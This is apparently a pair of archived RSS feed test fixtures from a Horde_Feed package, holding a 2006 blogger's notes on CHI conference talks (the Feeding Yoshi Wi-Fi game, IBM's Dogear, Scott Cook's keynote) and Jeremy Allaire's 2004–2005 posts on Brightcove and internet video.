Multiplayer Online Games</a> is the title of a very interesting study of World of Warcraft (WoW) social dynamics by Nicolas Ducheneaut and collaborators. The talk was given in an overcrowded room. I was standing and couldn't take notes. <br><br>Basically they used WoW's open API to scrape data about hundreds of thousands of players on five servers, registering who was present where and when and what character they were playing. The paper is surely worth a look if you're interested in online social interaction patterns from data. If you dislike PDFs, a few of the findings seem to be <a href="http://terranova.blogs.com/terra_nova/2006/02/alone_together_.html">in this blog post</a>. Big kudos to the team for doing their research openly on the <a href="http://blogs.parc.com/playon/">playon blog</a>!<br><br>Next I listened to a talk about <a href="http://www.dcs.gla.ac.uk/%7Ematthew/papers/CHIYoshiWithCopyright.pdf">Interweaving Mobile Games With Everyday Life</a>, which dealt with an urban multiplayer PocketPC game called Feed the Yoshi. It gave me some game ideas for the Ile Sans Fil community wireless project. Something to discuss with <a href="http://mtl3p.ilesansfil.org">Michael</a>... Transcript follows.<hr><p><span style="font-style: italic;">Presenter:</span> We had two foci in this work: </p><ol><li> Weaving ubiquitous computing into 'the fabric of everyday life". What happens if you use a system over a long time?</li><li>Seams and seamful design. Seams are gaps and 'losses in translation' in digital media. We actually argue for seamful design. </li></ol><p> WiFi varies in position, range and access controls. There are gaps, overlaps, passwords, fees for commercial hotspots, legal constraints. Those are Seams. </p><p> We made a game that exploits seamful design. It's implemented on PDAs (HP iPAQs) so you can play everywhere. The game is called <a href="http://www.yoshigame.com/">Feeding Yoshi</a>. A Yoshi is a critter that eats fruit. Players feed them for points. You can also sow seeds at empty plantations. Fruits grow in them, and you can pick them up and put them on your basket. Yoshis and plantations are scattered across the city. Players carry fruit to the Yoshis. Yoshis and plantations are 802.11 access points. Yoshis are actually locatedat secure access points and plantations are at open points. </p><p> Here's a map of Glasgow, we did some wardriving and found 483 points. You get more points for feeding Yoshis multiple fruits. You can swap fruits with other players.</p><p> Points are submitted to the game web site via 'codes'. The site shows a leaderboard. The game uses p2p ad-hoc networks. </p><p> To study Yoshi, we had 4 teams of 4 in Derby, Nottingham and Glasgowplay it over 7 days. Players had various backgrounds. Our data comes fromdiaries, interviews, logs.</p><p> (Shows a video diary of a player beginning his day, leaving for work, finding a strawberry tree.)</p><p> Overall the players found the game fun to play, engaging, worth taking time out for. </p><p> Patterns of play reflected life/work styles. There was a large spread in the length of play sessions. Journeys were often good for play. Players built an understanding of where the Yoshis and plantations were on their routes to work. One player came up with the concept of the 'Drive-by Yoshi', wherein a friend would drive himaround and he could rack up points efficiently.</p><p> Work was actually both a resource and a constraint. You could use work's WiFi. People's jobs sometimes allowed them to take breaks, be late, slip out. Work habits were not a predictor of success. </p><p> The coupling with location led to awareness of urban character and conversation with other players. On crowded streets players would "run into folks". There were distinctive patterns of movement - shuttling back and forth, etc. People felt uneasy just hanging around suburban homes, and uncomfortable in industrial and business districts. Some areas were felt "too dangerous to play in". </p><p> The social setting affects coordination and collaboration, both with other players and with non-players. One player's movement patterns annoyed his girfriend greatly. Play eventually bridged teams, even though members of the different teams didn't know one another. </p><p> Reflections. Should players be forced to move out of rich areas? It might encourage mobility. Were some locations 'too good'? Should we support play 'at speed'? </p><p> Future work involves seams in software and eHealth. </p><p> This was the first study of a long-term mobile game. The quality of play was flexible with everyday life. Players augmented existing routines and established new ones. </p><p> If you have any questions I'm sure my coauthors will be really happy to answer them. :)</p><p> Q. You didn't actually require transmission over the hotspots? So you could have tied this to arbitrary locations.</p><p> A. We wanted people to actually learn something about wireless networks. </p><p> Q. This work is a great opportunity for exploration. Glasgow gets a lot of rain. Have you thought about extra rewards for people who go out and feed the Yoshis in the pouring rain? Have you thought about introducing a predator? </p><p> A. They're cool ideas. The first I'm sure we could implement using weather reports. If the game had more characters, some of which are unveiled over time, it might make the game more interesting. </p><p> Q. Tell us about how much people modified their normal routine? </p><p> A. At the end most people told us they actually altered their routine. </p><p> Q. How long does it take for plantations to grow? </p><p> A. It's immediate. </p><p> Q. Have you considered making them more tamagochi-like, where you can have your yoshis grow and evolve </p><p> A. We did. (Said some more things.)</p><p> Q. What are the system requirements? </p><p> A. You can download the game for any PocketPC from the website. We'vegot thousands of downloads, it's getting quite popular.</p><p> Q. (Google guy). This looks like a great way of providing incentives for people to go to certain locations, open their wifi networks, etc. </p><p> A. Well, there's probably a business in there. Thank you! </p> http://radio.weblogs.com/0110772/2006/04/25.html#a1757 Tue, 25 Apr 2006 21:35:10 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1757&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F04%2F25.html%23a1757 CHI 2006: Dogear, Social Bookmarking for the Enterprise http://radio.weblogs.com/0110772/2006/04/25.html#a1756 <span style="font-style: italic;">(Notes from a talk about </span><a style="font-style: italic;" href="http://domino.watson.ibm.com/cambridge/research.nsf/242252765710c19485256979004d289c/1c181ee5fbcf59fb852570fc0052ad75">IBM's Dogear.</a><span style="font-style: italic;">)</span><br><br>Social bookmarking is a central store, where you can put keywords (tags), discover via "pivot" browsing, and subscribe to link feeds. <br> <p> Going to the enterprise: (1) authentication (no anonymity - promotes more responsible work), (2) internet and intranet bookmarks, (3) support for both shared and private bookmarks (this was a subject of debate among us), (4) designed for remixing (REST and dogear api) </p><p> Interface: select text, right-click and pick "Dogear this" or click the dogear bookmarklet. Window pops up, with Title - Tags - Description - URL - Private? checkbox (default is public so there is a little extra cost in going private). Below, recommended, popular, and recent tags for this URL, and a visual indicator of how popular the link is </p><p> All Users' Bookmarks display page has a different styling than personal lists. </p><p> Tweak in the enterprise seach engine (w3): show Dogear results before the w3 results (looks like corporate intranet search is not so good and they wanted to let the poor searchers help one another). </p><p> REST style: substitute the /html for /atom or /js in URLs. </p><p> Reuse: in the Dogear developer's blog, through a few lines of Javascript, his latest Dogears are listed. </p><p> Field trial results. Friendly trial began in March. In July: IBM Technology Adoption Program (TAP) launch, dogear included. Out of 686 visitors, 185 created bookmarks, 350 clicked on a link in the first 8 weeks. Sustained growth over 30 weeks. </p><p>Content makeup: 56% is shared internet, 38% is shared intranet, 2% private intranet, 3% private intranet bookmarks. </p><p> Early survey results show benefits.<br></p><p> Good buzz in the IBM intranet blogosphere: 94 unique posters mentioning dogear. When a new feature or mashup shows up there is renewed buzz. There's a whole new ecosystem around adoption of tools in the networked enterprise. </p><p> Tags reveal groups of people interested in similar topics. There are still around 10% new tags every week. </p><p> Next steps are to investigate social navigation through pivot browsing, folksonomy development, role-based portals, integration with other software. </p><p> Q. Did you make an effort to reduce number of tags by providing recommendations? A. There is still debate over whether this would be a good thing. </p><p> Q. Did users continue to use their own browser bookmarks? Do you have data? A. Some folks are interested in putting their dogear bookmarks out on the internet. I'm one of those who stopped using browser bookmarks, I'm sure there are others. </p><p> Q. Sharing? A. There were some comments about the benefits of using other people's bookmarks, and also about the . It's really low-cost sharing for the organization. </p><p> Q. My team has used a common tag that was used by all on the team. Other ideas? A. Once you see tagging existing both on bookmarking systems, blogs, etc., you start asking about a tag repository in general.</p><span style="font-style: italic;">(Had a nice chat with <a href="http://www.mrfeinberg.com/">Dogear programmer Jonathan Feinberg</a> after the session, where we talked about the next step of enabling <a href="http://www.google.ca/search?q=%22ridiculously+easy+group-forming%22&amp;start=0&amp;ie=utf-8&amp;oe=utf-8&amp;client=firefox-a&amp;rls=org.mozilla:en-US:official">ridiculously easy group-forming</a> in Dogear, among other things.)<br><br></span><code>Tag: <a href="http://technorati.com/tag/CHI2006" rel="tag"><var>chi2006</var></a></code><br><br> http://radio.weblogs.com/0110772/2006/04/25.html#a1756 Tue, 25 Apr 2006 15:31:42 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1756&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F04%2F25.html%23a1756 CHI 2006 course: Jared Spool, "Designing for the Scent of Information" http://radio.weblogs.com/0110772/2006/04/25.html#a1755 <span style="font-style: italic;">(</span><a style="font-style: italic;" href="http://www.uie.com/brainsparks/author/jared/">Jared Spool</a><span style="font-style: italic;"> has been working on usability for eons. It's the second time I've </span><a style="font-style: italic;" href="http://www.flickr.com/photos/sebpaquet/7028070/">run into him</a><span style="font-style: italic;"> in Montreal. Entertaining speaker. I wrote down the points that stood out for me.)<br></span><span style="font-weight: bold;"><br>Scent </span>is what users are looking for. Scent should be reinforced as you get closer to what you're looking for. &nbsp;The three-click rule - "everything must be reachable in three clicks" is bunk. On most ecommerce sites you need four clicks to do anything. Users tolerate clicking more if they get reinforcement along the way.<p><span style="font-weight: bold;">Iceberg effect: </span>The user assumes that what is above the fold is representative of what is below, so won't scroll if they don't find what they're looking for above.</p><p><span style="font-weight: bold;"> Banner blindness: </span>Based on experience, we are trained to ignore the top 60 pixels of a page.</p><p> People would rather click than search. Amazon is an exception, they have trained us not to expect scent on the home page. Amazon's nav panel is scentless.</p><p>Content created from the provider's perspective is a scent-killer. If your links refer to your specialized vocabulary but your users do not master it, they won't get where they need to go.<br> </p><p><span style="font-weight: bold;"> Trigger words</span> lead users to click when they recognize them. If they don't see a trigger word, they will type it into your search engine. To find trigger words you're missing on your site, you turn on your search logs and you look at what users input.</p><p> Short links don't emit scent. The best links are 7-12 words. Too few words, you probably won't hit a trigger word. Too many, the user just can't see it in all that text.</p><p>"Keep your pages short, because you don't want users to scroll". Untrue. There's only so much that you can put on one page. The most successful pages are very long, about 10 screens long. NYT has just gone to a 3,000 pixel high home page.&nbsp;<br> </p><p> There are designs that stop users from scrolling. A horizontal rule; tiny print; side-by-side columns of text that end exactly at the same point.</p><p> Sometimes the site map actually gives off more scent than the home page. Unfortunately the link to the site map is itself scentless. If your logs tell you a lot of people are going to your site map, try making it the home page for a day. Chances are you'll get rave compliments on your redesign!<br></p><p> Some scents throw you off, violating your expectations, actually sending you away from where you're going.</p><p> There are three types of graphics on web sites: navigation graphics, content graphics, ornamental graphics. Graphics can sometimes communicate scent, too. </p> http://radio.weblogs.com/0110772/2006/04/25.html#a1755 Tue, 25 Apr 2006 15:16:11 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1755&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F04%2F25.html%23a1755 CHI 2006: CHI Madness http://radio.weblogs.com/0110772/2006/04/24.html#a1754 This year the CHI conference is experimenting with how the (impressively heavy, 8-track wide, and that's just the papers) day schedules are presented to attendees, and they came up with a refreshing idea. Every morning they will line up 42 speakers to present 21 hours' worth of scholarly content, each being alloted 40 seconds to attract listeners to their talk. The end product is packaged as the CHI Madness session. <p>I find the idea deeply clueful. This gives people an occasion to briefly pitch their findings to an audience on the scale of a thousand. Normally you're able to do this only with a handful of people, during hallway or reception conversations. and I expect it will help better match presenters with attendees and perhaps spread attendance a bit more evenly. I also think the exercise of distilling to a 30-second pitch will probably help improve the presentations themselves. </p><p>We just had the first such session. I feared that it would be tedious, but the pacing and variety make it just right. It's fascinating to see how different researchers condense and pitch their papers, both visually and aurally. Academics are often slow to get to the point, so this is an enlightening exercise. Some are more skillful than others. Most are pretty creative, so the few Powerpoint lists filled with bullets and people who read their abstracts look a bit stodgy. </p><p>One researcher hilariously pitched his paper as an 8-round wrestling match between - wait for it - documentation methodologies. The <a href="http://research.microsoft.com/adapt/sis/phlat.htm">Phlat</a> guy closed with the slogan, "It's Phlat, it' phat, yo." One guy's <a href="http://dis.shef.ac.uk/stevewhittaker/chi2006_whittaker_final.pdf">temporal compression work</a> was ideally suited to the medium, so his pitch was pretty effective.<br></p><code>Tag: <a href="http://technorati.com/tag/chi2006" rel="tag"><var>chi2006</var></a></code> http://radio.weblogs.com/0110772/2006/04/24.html#a1754 Mon, 24 Apr 2006 17:03:29 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1754&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F04%2F24.html%23a1754 CHI 2006: Scott Cook (Intuit) http://radio.weblogs.com/0110772/2006/04/24.html#a1753 <span style="font-style: italic;"></span><span style="font-style: italic;"></span><br>The CHI conference is in my hometown this week, and <a href="http://www.socialtext.com">Socialtext</a> is graciously sending me downtown to learn some stuff. Intuit founder Scott Cook opened the conference. Here are my notes from his talk.<br><br><span style="font-style: italic;">[Update: what follows is more of an impressionistic transcript; </span><a style="font-style: italic;" href="http://www.antonellapavese.com/">Antonella Pavese</a><span style="font-style: italic;"> put up a </span><a style="font-style: italic;" href="http://www.antonellapavese.com/archive/2006/04/178/">really nice "annotated reconstruction" of Scott Cook's CHI talk</a><span style="font-style: italic;">, complete with pictures and all - go see it!]</span><br><hr><span style="font-style: italic;">Speaker intro (paraphrased)</span>: In 1984 Scott Cook founded Intuit, which makes the famously successful Quicken software and is among the first companies to have a <a href="http://eastwikkers.typepad.com/eastwikkers_/2006/04/33_wikis_17_the.html">public wiki</a>, the <a href="http://www.taxalmanac.org/index.php/Main_Page">Tax Almanac</a>.<p><span style="font-style: italic;">Scott Cook:</span> Je suis heureux d'etre ici aujourd'hui. Mon francais... not so good. In preparing for this, my wife told me not to worry about being charming, clever or intellectual. "Just be yourself", she said.</p><p> One of the best examples of game-changing invention hails from here in Quebec. <a href="http://en.wikipedia.org/wiki/Guy_Lalibert%C3%A9">Guy Laliberte</a> founded <a href="http://en.wikipedia.org/wiki/Cirque_du_Soleil">Cirque du Soleil</a> 25 years ago. It became a huge business. They did this in a market that anyone would have said was down. They were asking for more money than the Wringley Brothers were asking. They didn't steal Wringley's customers. They invented a new kind of entertainment.</p><p> 3M used to sell sandpaper. Employee <a href="http://www.3m.com/about3m/pioneers/drew.jhtml">Dick Drew</a> was in an automobile shop, heard a worker complain that he couldn't remove the tape without taking the fresh paint off, too. Then he'd need to sand a lot. This led him to invent the masking tape (even though his boss didn't want him to), and later on, the cellophane tape, which turned 3M into a huge business.<br> </p><p> Said Peter Drucker: "The bottleneck is always at the top of the bottle".</p><p> What kind of company are you building? That depens on your model of innovation. Here are five: (1) the lone genius (the Edison / Bell model); (2) the boss is the genius (popular among some Silicon Valley CEOs); (3) copy competitors' inventions; (4) Cloister the geniuses in a lab - but the innovation never seems to make it into a product; (5) make your people the geniuses.</p><p> The model I prefer is the last one. The people who are in close contact with customers are the unit of innovation. Managers' jobs are to create the greenhouse, enable those little teams to form around customer needs.</p><p> Dilbert slides in which a VP of marketing gets punched and spit on elicits general laughter.</p><p> Look at the evolution of shipping. By 1960 this industry had reached an apex with the NS Savannah, nuclear-powered cargo ship. Malcolm McLean was a trucker who observed tremendous amounts of delay in transferring merchandise: unloading and loading to and from ships. In the mid-50s he sold his truck company. He bought a rusty old tanker, the SS Maxton, which he put a flat bed on so he could put rectagular containers. SS's maiden voyage was 50 years ago last week.</p><p> Containerized freight revolutionized shipping. The cost used to be $6 a ton. Containerized freight costs 16 cents a ton. There are today millions of people in Asia who owe their middle-class status to Mr. McLean. He didn't focus on the speed of the ship, he focused on speed of loading and unloading.</p><p> Anyone with a science background should read Kuhn. It explains how some young scientist, generally under 30, invents a new paradigm that nobody believes in at first but is eventually embraced by all. Germ theory, Copernicus, etc. That's science. </p><p> Intuit's mission is "to change lives so profoundly that people cannot imagine going back to the old way".</p><p> Here's the story of how we moved from Quicken to QuickBooks. We had less than half the features and were selling at twice the price of the market leaders. The advertising was terrible. Our first ad, I wrote. It was a catastrophe. Second was an ad firm, which produced probably the worst ad in history. Exposed to a million readers. We got 4 responses.</p><p></p><p> That's the brilliant launch of QuickBooks in 92. Here's how it happened. In one monthe we got to 70% market share. What explains this? It wasn't the advertising. It was something we discovered along the way. We used to make a home consumer product. We surveyed our users, and 40% said they were using our product "in an office". We surveyed again. Same results. We actually called those people.<br><br>What we discovered was that most people hate debit/credit accounting. Everyone else who made accounting software had debits and credits. What we did was build the first accounting software without debits/credits.</p><p> QuickBooks revenue growth over 13 years looks great. <span style="font-style: italic;">(note: QuickBooks services grow a lot towards the end.) </span>Here are some of the teams who were responsible for this <span style="font-style: italic;">(shows pictures)</span>.</p><p> Success starts with humility. "Empathy is not just about walking in anothr's shoes... first you must remove your own shoes." (There's a variant of that quote, "Never criticize a man till you've walked a mile in his shoes. That way, when you criticize him, you're a mile away and you have his shoes.")</p><p> What business operates in over 100 countries, has grown 10,000% since 1970, serves 500 million people, volume &gt; $1 trillion annually? Dee Hock's VISA. Hock says, "The problem is never how to get new, innovative thoughts into your mind, but how to get old ones out. Every mind is a room packed with archaic furniture."</p><p> Get face-to-face with your customers. In their office, in their home. Find out what's happening.</p><p> The Intuit process is: (1) Involve UX, (2) Find the Customer Problem, (3) Define the requirement, (4) Build. </p><p> IRS mails 8 billion pages of tax forms and instructions each year. They could circle the globe 28 times. Americans spend &gt; $200 billion, more hours than it takes to make every car and truck in the US, on taxes.</p><p> When you look at market share, we look good, but compared to manual, there's still a lot of people doing it by hand or not using software. We identified 5 taxpayer types and found that TurboTax had 2 of them well covered. The "Worry warts", who want to do their own taxes together with a tax preparer, have different needs. Our design for TurboTax Personal Pro was to "put an expert in the box". You can get into live conversations with experts while doing your taxes.<br></p><p> Look at the fancy underwear business. Victoria's Secret's share was flat at just over 20%. They went to the customers' houses, combed through their underwear drawers. On the vast majority of occasions, women didn't wear their product. Discovery: sexy underwear isn't thought of as comfortable. This led to Body by Victoria, seamless underwear. This has been huge, it is not the best-selling product line - their share doubled to 45%.</p><p> Follow the customers while they work. All of us at Intuit do this. Executives do this. We post pictures and reports in the office when we come back. Drucker's Seven Sources of Innovation: the most reliable is The Unexpected. That's what you see when you follow the customers.<br></p><p> Raid had perfected a slow-action formula. The idea was to leave a slight trail, that bugs would get some on themselves and it would not kill them instantly, so they could make it back to the nest and kill the other bugs. They observed that users would not leave a slight trail to the nest: they would drown the one bug in front of them before it could make it back to the nest. So they diluted in a lot of water so it was hard to kill the bug and so the stench wasn't overpowering. Sales up 50%, in an old, established market. And the bugs now survive the flood and can bring the product back to bring down the nest.</p><p> QuickBooks Point of Sale. We didn't think it could work. Users needed to get too much hardware. Despite my resistance, we made a version with hardware. The version with the hardware is twice the price of the other, but it's selling twice more than the other.</p><p> The best we can hope to bat is .500. If you're getting better than that, you're not swinging for the fences. Even Barry bonds, steroids or not, is not getting that. We need to celebrate failure. Failures are shitty but they let us learn. Here is me hugging the guy who won the Greatest Failure award. There was a learning from what he did. His failed effort produced the learning that young users don't care about taxes, but they do care about the refund.</p><p> What happens when you have a battle between financial metrics and customer metrics? Typically the customer metric gets blown off. You need a solid customer metric. Andy Taylor, Enterprise Rent-a-Car: "The only way to grow your business is to get your customers to recommend to a friend." Ask your customers if they would recommend you to a friend. 9's and 10's are promoters. Get your business a Net promoter score. There is a clear relation to 3 or 5-year revenue growth. The winners actually get back to detractors, the people who rate them in the bottom half of the scale ("would not recommend").</p><p> Among our smallest customers, QuickBooks didn't really deliver what they needed. So we looked at tiny businesses. They needed something simpler. In our Simple Start, "Accounts Receivable" came to be called "Money In", etc. Simple Start is successful.<br></p><p> 1. Invention comes from mindset change. <br>2. Mindset change comes from seeing differently.<br>3. Savor surprises... as learnings.<br>4. Focus managers on a customer metric.<br>5. Nurture and protect invention teams. Optimize for these teams.</p><p> There is another taxpayer type, who likes it simple. Here's the simplest tax form. This one line, requires you to go into th 50-page guide, and you need this page, this one, this one and this one. This is not easy. Only the IRS would call it easy. Here is one prototype they called Taxtasy. It became SnapTax. That idea was invented by a QA person.</p><p> "The boundaries between disciplines blur, and that's how things work best"</p><p> Teams without barriers. There are cases where you want to prevent management from interfering. Questions can kill an entrepreneurial team. There's only a few questions from management that are actually worth asking.</p><p> Here's Dan Robinson, an engineer on the Quicken team. His child was born with medical problems. Our medical insurance paid, so cash was not the problem. But the paperwork was amazingly complex. Dan decided this was a real problem we needed to work on. I didn't think we could do it. Others didn't either. But Dan got green lights because he kept answering the questions. The result is the Quicken Medical Expense Manager. <span style="font-style: italic;">(shows user interview excerpt)</span></p><p><span style="font-style: italic;">Questions and answers</span><br></p><p>Q. Skills? A. We need people who care, and have curiosity. The best people are those who say "I don't want to see the requirements, I want to see the customers" and will stand for what they know is right.</p><p> Q. Usability testing? A. in 1994 we hired the Palo Alto Junior Leaders to do usability testing. The users were totally stumped by what we thought was obvious. No matter how easy the design team believes it is... Simplicity sells. Our real insight was how something that was so obvious for us was so hard for customers.</p><p> Q. Basic academic research? A. I think so much invention is needed, especially in an interdisciplinary area like this. I think our eyes will open through research, and the companies will then figure out how to answer the needs.</p><p> Q. Governments? A. The idea of having the government actually watch how citizens operate would be so eye-opening.</p><p> Q. I work at a small place. How to change the culture from the bottom when the top level doesn't get it? A. A lot of great things happen through guerilla efforts. I think you don't need your boss's approval to talk to customers. this is not expensive stuff. If the company really gets in your way, you may have to go elsewhere.</p><p> Q. Do you agree that short-to-medium-term innovation can be customer-driven, but not long-term? Can you go too far in customer focus? A. I think you can't go too far in customer focus, but you can have wrong directions. Some orgs are addicted to surveys, but surveys actually reflect your current mindset. The best insights don't come from quantitative data. As regards the long-term. I agree that customers do not foresee the future. Use the consumer to understand the problem that you are solving. Then it's your job to build it. Of course consumers would never have asked for computers in their homes. Do you remember typewriters, when you made a mistake, it was hell? This was clearly a problem, one that computers can solve really well.</p><p>Q. International? A. Automobiles in Japan are used so differently than they are here. In Japan you can have one car for a family of 5 drivers. Nissan sent researchers directly to see families. They got into trouble when an American family figured that the Japanese student they were hosting was actually studying them! </p><br><code>Tag: <a href="http://technorati.com/tag/chi2006" rel="tag"><var>chi2006</var></a></code><br> http://radio.weblogs.com/0110772/2006/04/24.html#a1753 Mon, 24 Apr 2006 15:30:08 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1753&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F04%2F24.html%23a1753 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-radio.weblogs.com-0113297-rss.xml0000664000175000017500000003412012653701626026456 0ustar janjan Jeremy Allaire's Radio http://radio.weblogs.com/0113297/ An exploration of media, communications and applications over the Internet. en Copyright 2005 Jeremy Allaire Fri, 11 Mar 2005 12:45:01 GMT http://backend.userland.com/rss Radio UserLand v8.0.8 jer_allaire@yahoo.com jer_allaire@yahoo.com rssUpdates 1 2 3 4 5 17 23 0 60 Brightcove Blog Action http://blog.brightcove.com/ <P>This will be the last post I make on "Jeremy Allaire's Radio", as all of my blogging activity transitions to the <A href="http://blog.brightcove.com">Brightcove Blog</A>, launched last week.&nbsp; Many members of the Brightcove team will posting there.&nbsp; On that note, I just posted a <A href="http://blog.brightcove.com/blog/2005/03/brightcove_medi.html">multimedia entry / commentary on the differences between Telco/IPTV and the Internet of Video</A>.&nbsp; Give it a view/listen!</P> <P>Most importantly, if you want to start pickup up the latest you can browse at blog.brightcove.com or pickup the new RSS feed at <A href="http://blog.brightcove.com/blog/index.rdf">blog.brightcove.com/blog/index.rdf</A></P> <P>Thanks!<BR>Jeremy</P> <P>&nbsp;</P> http://radio.weblogs.com/0113297/2005/03/11.html#a298 Fri, 11 Mar 2005 12:45:01 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=298&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2005%2F03%2F11.html%23a298 Brightcove Launched http://radio.weblogs.com/0113297/2005/02/27.html#a297 <P>As <A href="http://www.paidcontent.org/pc/arch/2005_02_27.shtml#012486">noted on PaidContent</A>, we're launching <A href="http://www.brightcove.com">Brightcove</A>, a company I started last summer and have been stealth until now.&nbsp; While we're not getting into too much detail about what we're actually doing, we are starting to talk about the themes and ideas behind the company, which one can clearly use to deduce what we might be up to.&nbsp; </P> <P>The theme of the "democratization of media" is one that goes all the way back to my origin interests in the Internet, and to some of the important ideas that framed and drove ColdFusion, and Allaire's other software franchises.&nbsp; We're onto the next phase of experiences on the Internet, and the much richer and expressive medium of video.&nbsp; </P> <P>There's a narrated animation <A href="http://www.brightcove.com">on our website</A> that gives a good view into what we see happening and how we hope to help producers and publishers of video take us into the emerging era of Internet Television.</P> <P>We've also published <A href="http://www.brightcove.com/blog/">a company blog</A> that is a rollup of news, announcements, blogsphere references and suggested reading.&nbsp; Keep it in your RSS readers!<BR>&nbsp;&nbsp; <A href="http://www.brightcove.com/blog/"><a href="http://www.brightcove.com/blog/">http://www.brightcove.com/blog/</a></A></P> <P>&nbsp;</P> http://radio.weblogs.com/0113297/2005/02/27.html#a297 Mon, 28 Feb 2005 02:40:06 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=297&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2005%2F02%2F27.html%23a297 XBox 360 - A new media distribution platform http://radio.weblogs.com/0113297/2005/02/26.html#a296 <P>While there was a<A href="http://www.kotaku.com/gaming/gossip/xbox-2/xbox-360-revealed-033435.php"> little buzz last week</A> about the emerging next-generation XBox, to be called XBox 360, much of it focused on the industrial design and basic facts like wireless controllers and that there will be an edition with a hard-drive and one without, etc.</P> <P>What was not talked about broadly was the much more important details on how the XBox is going to help transform digital media distribution on the Internet.&nbsp; While many have lauded the mini-mac as a potential consumer-friendly, possibly living-room friendly device that could also help distribute media, the XBox 360 is smack aimed at this and will rock the consumer world with it's features, functions and price.</P> <P>Some things to keep in mind about this new consumer set-top box from Microsoft (yes, the XBox is more or less a consumer set-top and entertainment box at this stage than a 'gaming console'):</P> <P>- It's a powerful HD-capable DVD player<BR>- It's a networked Internet media device that can download and render secure audio and video content from PCs and the Internet (read: it's an alternate path to the TV instead of your cable or satellite box)<BR>- It's a networked PVR, when used as a Media Center Extender (a native feature, some have suggested)<BR>- It's an unbelievable gaming platform<BR>- It's going to be inexpensive<BR>- It's NOT a PC or even attempting to be a PC</P> <P>We're paying close attention here, as this device will likely be a high-volume set-top box to target Internet media applications against in 2006.</P> <P>&nbsp;</P> http://radio.weblogs.com/0113297/2005/02/26.html#a296 Sat, 26 Feb 2005 05:13:02 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=296&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2005%2F02%2F26.html%23a296 Kudos for Onfolio 2.0 Feed Reader http://beta.onfolio.com <P>Congrats to the Onfolio team who have just released their <A href="http://beta.onfolio.com">public beta of Onfolio 2.0</A>.&nbsp; I have been using the new Feed Reader in Onfolio, and am loving it.&nbsp; Here are a few nice features on the Feeds and Blogging&nbsp;front:</P> <UL> <LI>Firefox and IE support -- runs in the browser, or as a&nbsp;dockable deskbar </LI> <LI>Newspaper views (nice DHTML app) make it extremely productive to plow through dozens or hundreds of feeds</LI> <LI>Reading-list feature lets you productively browse through lots of items and mark those you want to go deep on for readying later</LI> <LI>Nested collections of feeds</LI> <LI>Search Feeds, with integration into Feedster and Daypop</LI> <LI>Item capture -- you can pretty much capture any micro-content from the Web, your RSS feeds, your email, etc.</LI> <LI>Blog This -- easily blog any item with support for all major weblog services</LI> <LI>Auto-Blogging -- you can 'share' folders of captured content which are replicated as an HTML weblog, auto-posted into any blog, with generated RSS feeds, etc.</LI></UL> <P>All of this is focused on Feed reading and Blogging, but Onfolio 2.0 builds on 1.0 which provides a great general-purpose content collection engine for your desktop and the Internet, including great built-in sharing and publishing tools.</P> <P>Check it out!&nbsp; <A href="http://beta.onfolio.com/whatsNew.cfm">Here is a detailed list of new features</A>, screenshots and more.</P> <P>Jeremy</P> <P><BR>&nbsp;</P> http://radio.weblogs.com/0113297/2004/12/16.html#a295 Fri, 17 Dec 2004 03:39:49 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=295&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F12%2F16.html%23a295 Paying for Online Media http://www.paidcontent.org/contentnext/jeremy_allaire/consumer_evolution_a.php <A href="http://www.paidcontent.org/contentnext/jeremy_allaire/consumer_evolution_a.php">Thoughts on the economic basis of and consumer interests</A> around pay media on the Internet. http://radio.weblogs.com/0113297/2004/09/16.html#a294 Fri, 17 Sep 2004 01:36:48 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=294&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F09%2F16.html%23a294 Bandwidth vs Storage http://www.paidcontent.org/contentnext/jeremy_allaire/bandwidth_versus_sto.php <P><A href="http://www.paidcontent.org/contentnext/jeremy_allaire/bandwidth_versus_sto.php">My discussion on the bandwidth versus storage versus quality debate</A> on PaidContent.org.</P> http://radio.weblogs.com/0113297/2004/09/16.html#a293 Thu, 16 Sep 2004 15:54:01 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=293&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F09%2F16.html%23a293 Flashing Mobile Content http://www.paidcontent.org/contentnext/flashing_mobile_cont.php <A href="http://www.paidcontent.org/contentnext/flashing_mobile_cont.php">Comments on emergence of Flash</A> as a mobile format on PaidContent.org http://radio.weblogs.com/0113297/2004/09/14.html#a292 Tue, 14 Sep 2004 19:31:57 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=292&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F09%2F14.html%23a292 Comments on TiVo / NetFlix deal http://www.paidcontent.org/contentnext/jeremy_allaire/tivoflixing_the_vide.php <A href="http://www.paidcontent.org/contentnext/jeremy_allaire/tivoflixing_the_vide.php">TivoFlixing</A> the Video world.... http://radio.weblogs.com/0113297/2004/09/13.html#a291 Tue, 14 Sep 2004 03:38:42 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=291&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F09%2F13.html%23a291 The Internet of Video http://www.paidcontent.org/contentnext/jeremy_allaire/the_internet_of_vide.php <P>Guest posting on PaidContent.org ... some thoughts on emerging opportunities in video on the Internet.</P> http://radio.weblogs.com/0113297/2004/09/13.html#a290 Tue, 14 Sep 2004 03:37:45 GMT 